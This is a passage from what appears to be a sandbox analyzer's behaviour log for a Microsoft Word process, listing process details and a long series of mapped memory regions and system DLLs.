# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 11.08.2022 16:37:06.468 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files (x86)\\microsoft office\\office16\\winword.exe" page_root = "0x38a84000" os_pid = "0x1298" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 255 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 256 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 257 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 258 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 259 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 260 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 261 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 262 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 263 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 264 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 265 start_va = 0x1e0000 end_va = 0x1e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 266 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 267 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 268 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 269 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 270 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 271 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 272 start_va = 0x4f0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 273 start_va = 0x530000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 274 start_va = 0x630000 end_va = 0x631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 275 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 276 start_va = 0x650000 end_va = 0x651fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 277 start_va = 0x660000 end_va = 0x661fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 278 start_va = 0x670000 end_va = 0x671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 279 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 280 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 281 start_va = 0x6a0000 end_va = 0x6a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 282 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 283 start_va = 0x6c0000 end_va = 0x6c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 284 start_va = 0x6d0000 end_va = 0x6dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 285 start_va = 0x6e0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 286 start_va = 0x7e0000 end_va = 0x967fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 287 start_va = 0x970000 end_va = 0x97efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 288 start_va = 0x980000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 289 start_va = 0x990000 end_va = 0x993fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 290 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 291 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 292 start_va = 0xb70000 end_va = 0xc18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\1033\\wwintl.dll") Region: id = 293 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 294 start_va = 0xc80000 end_va = 0xc80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 295 start_va = 0xc90000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 296 start_va = 0xcd0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 297 start_va = 0xd10000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 298 start_va = 0xd30000 end_va = 0xea4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 299 start_va = 0xeb0000 end_va = 0xeb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 300 start_va = 0xec0000 end_va = 0xec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 301 start_va = 0xed0000 end_va = 0x10a7fff monitored = 0 entry_point = 0xed1000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\winword.exe") Region: id = 302 start_va = 0x10b0000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010b0000" filename = "" Region: id = 303 start_va = 0x24b0000 end_va = 0x2668fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 304 start_va = 0x2670000 end_va = 0x2977fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso40uires.dll") Region: id = 305 start_va = 0x2980000 end_va = 0x32a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso99lres.dll") Region: id = 306 start_va = 0x32b0000 end_va = 0x80eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msores.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\msores.dll") Region: id = 307 start_va = 0x8160000 end_va = 0x818dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008160000" filename = "" Region: id = 308 start_va = 0x8190000 end_va = 0x8190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008190000" filename = "" Region: id = 309 start_va = 0x81a0000 end_va = 0x81a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081a0000" filename = "" Region: id = 310 start_va = 0x81b0000 end_va = 0x82affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081b0000" filename = "" Region: id = 311 start_va = 0x8320000 end_va = 0x8656fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 312 start_va = 0x8660000 end_va = 0x875ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008660000" filename = "" Region: id = 313 start_va = 0x8760000 end_va = 0x879ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008760000" filename = "" Region: id = 314 start_va = 0x87a0000 end_va = 0x889ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087a0000" filename = "" Region: id = 315 start_va = 0x88a0000 end_va = 0x899ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088a0000" filename = "" Region: id = 316 start_va = 0x89a0000 end_va = 0x89dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089a0000" filename = "" Region: id = 317 start_va = 0x89e0000 end_va = 0x8adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089e0000" filename = "" Region: id = 318 start_va = 0x8ae0000 end_va = 0x8b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008ae0000" filename = "" Region: id = 319 start_va = 0x8b20000 end_va = 0x8c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b20000" filename = "" Region: id = 320 start_va = 0x8c20000 end_va = 0x8cdbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008c20000" filename = "" Region: id = 321 start_va = 0x8ce0000 end_va = 0x8ce3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008ce0000" filename = "" Region: id = 322 start_va = 0x8cf0000 end_va = 0x8d38fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat") Region: id = 323 start_va = 0x8d40000 end_va = 0x8e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d40000" filename = "" Region: id = 324 start_va = 0x8e40000 end_va = 0x963ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-21-1560258661-3990802383-1811730007-1000.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat") Region: id = 325 start_va = 0x9640000 end_va = 0x9a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009640000" filename = "" Region: id = 326 start_va = 0x9a40000 end_va = 0x9f31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009a40000" filename = "" Region: id = 327 start_va = 0x9f40000 end_va = 0x9f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f40000" filename = "" Region: id = 328 start_va = 0x9f50000 end_va = 0x9f50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f50000" filename = "" Region: id = 329 start_va = 0x9f60000 end_va = 0x9f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f60000" filename = "" Region: id = 330 start_va = 0x9fa0000 end_va = 0xa09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009fa0000" filename = "" Region: id = 331 start_va = 0xa0a0000 end_va = 0xa0a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a0a0000" filename = "" Region: id = 332 start_va = 0xa0b0000 end_va = 0xa0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0b0000" filename = "" Region: id = 333 start_va = 0xa0f0000 end_va = 0xa1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0f0000" filename = "" Region: id = 334 start_va = 0xa1f0000 end_va = 0xa1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a1f0000" filename = "" Region: id = 335 start_va = 0xa200000 end_va = 0xa23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a200000" filename = "" Region: id = 336 start_va = 0xa240000 end_va = 0xa33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a240000" filename = "" Region: id = 337 start_va = 0xa340000 end_va = 0xa34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a340000" filename = "" Region: id = 338 start_va = 0xa350000 end_va = 0xa38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a350000" filename = "" Region: id = 339 start_va = 0xa390000 end_va = 0xa48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a390000" filename = "" Region: id = 340 start_va = 0xa490000 end_va = 0xa493fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a490000" filename = "" Region: id = 341 start_va = 0xa4a0000 end_va = 0xa4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a4a0000" filename = "" Region: id = 342 start_va = 0xa4e0000 end_va = 0xa51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a4e0000" filename = "" Region: id = 343 start_va = 0xa520000 end_va = 0xa520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a520000" filename = "" Region: id = 344 start_va = 0xa530000 end_va = 0xa530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a530000" filename = "" Region: id = 345 start_va = 0xa540000 end_va = 0xa54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a540000" filename = "" Region: id = 346 start_va = 0xa550000 end_va = 0xad4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a550000" filename = "" Region: id = 347 start_va = 0xad50000 end_va = 0xae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad50000" filename = "" Region: id = 348 start_va = 0xae50000 end_va = 0xaf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ae50000" filename = "" Region: id = 349 start_va = 0xaf50000 end_va = 0xaf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000af50000" filename = "" Region: id = 350 start_va = 0xaf90000 end_va = 0xb08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000af90000" filename = "" Region: id = 351 start_va = 0xb090000 end_va = 0xb0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b090000" filename = "" Region: id = 352 start_va = 0xb0d0000 end_va = 0xb1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 353 start_va = 0xb1d0000 end_va = 0xb1d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 354 start_va = 0xb1e0000 end_va = 0xb1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1e0000" filename = "" Region: id = 355 start_va = 0xb1f0000 end_va = 0xb3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1f0000" filename = "" Region: id = 356 start_va = 0xb3f0000 end_va = 0xb46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3f0000" filename = "" Region: id = 357 start_va = 0xb470000 end_va = 0xb470fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\SysWOW64\\msxml6r.dll" (normalized: "c:\\windows\\syswow64\\msxml6r.dll") Region: id = 358 start_va = 0xb480000 end_va = 0xb493fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 359 start_va = 0xb4a0000 end_va = 0xb4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b4a0000" filename = "" Region: id = 360 start_va = 0xb4b0000 end_va = 0xb58ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 361 start_va = 0xb590000 end_va = 0xb593fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b590000" filename = "" Region: id = 362 start_va = 0xb5a0000 end_va = 0xb5a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b5a0000" filename = "" Region: id = 363 start_va = 0xb5b0000 end_va = 0xb5b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b5b0000" filename = "" Region: id = 364 start_va = 0xb5c0000 end_va = 0xb601fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "d2d1.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\d2d1.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\d2d1.dll.mui") Region: id = 365 start_va = 0xb610000 end_va = 0xb611fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b610000" filename = "" Region: id = 366 start_va = 0xb620000 end_va = 0xb62ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b620000" filename = "" Region: id = 367 start_va = 0xb630000 end_va = 0xb63ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b630000" filename = "" Region: id = 368 start_va = 0xb640000 end_va = 0xb64ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b640000" filename = "" Region: id = 369 start_va = 0xb660000 end_va = 0xb670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 370 start_va = 0xb680000 end_va = 0xb68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b680000" filename = "" Region: id = 371 start_va = 0xb690000 end_va = 0xc68ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat") Region: id = 372 start_va = 0xc690000 end_va = 0xc76efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 373 start_va = 0xc770000 end_va = 0xcb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c770000" filename = "" Region: id = 374 start_va = 0xccb0000 end_va = 0xd18dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ccb0000" filename = "" Region: id = 375 start_va = 0xd190000 end_va = 0xd59efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d190000" filename = "" Region: id = 376 start_va = 0xd5a0000 end_va = 0xd9a4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d5a0000" filename = "" Region: id = 377 start_va = 0xd9b0000 end_va = 0xddbbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d9b0000" filename = "" Region: id = 378 start_va = 0xddc0000 end_va = 0xde3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ddc0000" filename = "" Region: id = 379 start_va = 0xde40000 end_va = 0xee7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 380 start_va = 0xee80000 end_va = 0xef55fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ee80000" filename = "" Region: id = 381 start_va = 0xef60000 end_va = 0xf035fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ef60000" filename = "" Region: id = 382 start_va = 0xf040000 end_va = 0xf05efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f040000" filename = "" Region: id = 383 start_va = 0xf060000 end_va = 0xf07efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f060000" filename = "" Region: id = 384 start_va = 0x34400000 end_va = 0x3440ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000034400000" filename = "" Region: id = 385 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 386 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 387 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 388 start_va = 0x69660000 end_va = 0x69682fff monitored = 0 entry_point = 0x696769b0 region_type = mapped_file name = "globinputhost.dll" filename = "\\Windows\\SysWOW64\\globinputhost.dll" (normalized: "c:\\windows\\syswow64\\globinputhost.dll") Region: id = 389 start_va = 0x69690000 end_va = 0x696e1fff monitored = 0 entry_point = 0x696b8290 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\SysWOW64\\BCP47Langs.dll" (normalized: "c:\\windows\\syswow64\\bcp47langs.dll") Region: id = 390 start_va = 0x696f0000 end_va = 0x69821fff monitored = 0 entry_point = 0x6975bf60 region_type = mapped_file name = "windows.globalization.dll" filename = "\\Windows\\SysWOW64\\Windows.Globalization.dll" (normalized: "c:\\windows\\syswow64\\windows.globalization.dll") Region: id = 391 start_va = 0x69830000 end_va = 0x69845fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 392 start_va = 0x69850000 end_va = 0x69870fff monitored = 0 entry_point = 0x6985bdb0 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\SysWOW64\\cabinet.dll" (normalized: "c:\\windows\\syswow64\\cabinet.dll") Region: id = 393 start_va = 0x69880000 end_va = 0x6a074fff monitored = 0 entry_point = 0x698e5279 region_type = mapped_file name = "chart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\CHART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\chart.dll") Region: id = 394 start_va = 0x6a080000 end_va = 0x6a112fff monitored = 0 entry_point = 0x6a0a0ec0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\SysWOW64\\twinapi.dll" (normalized: "c:\\windows\\syswow64\\twinapi.dll") Region: id = 395 start_va = 0x6a120000 end_va = 0x6a30efff monitored = 0 entry_point = 0x6a165e20 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\SysWOW64\\msxml6.dll" (normalized: "c:\\windows\\syswow64\\msxml6.dll") Region: id = 396 start_va = 0x6a310000 end_va = 0x6a376fff monitored = 0 entry_point = 0x6a325a00 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 397 start_va = 0x6a380000 end_va = 0x6a388fff monitored = 0 entry_point = 0x6a383830 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 398 start_va = 0x6a390000 end_va = 0x6a3c3fff monitored = 0 entry_point = 0x6a3a8280 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 399 start_va = 0x6a3d0000 end_va = 0x6a571fff monitored = 0 entry_point = 0x6a3d1000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\riched20.dll") Region: id = 400 start_va = 0x6a580000 end_va = 0x6a587fff monitored = 0 entry_point = 0x6a5817b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 401 start_va = 0x6a590000 end_va = 0x6a60cfff monitored = 0 entry_point = 0x6a5a0db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 402 start_va = 0x6a610000 end_va = 0x6a668fff monitored = 0 entry_point = 0x6a620780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 403 start_va = 0x6a670000 end_va = 0x6a7e2fff monitored = 0 entry_point = 0x6a71d220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 404 start_va = 0x6a7f0000 end_va = 0x6a84bfff monitored = 0 entry_point = 0x6a7f8880 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\SysWOW64\\d3d10_1core.dll" (normalized: 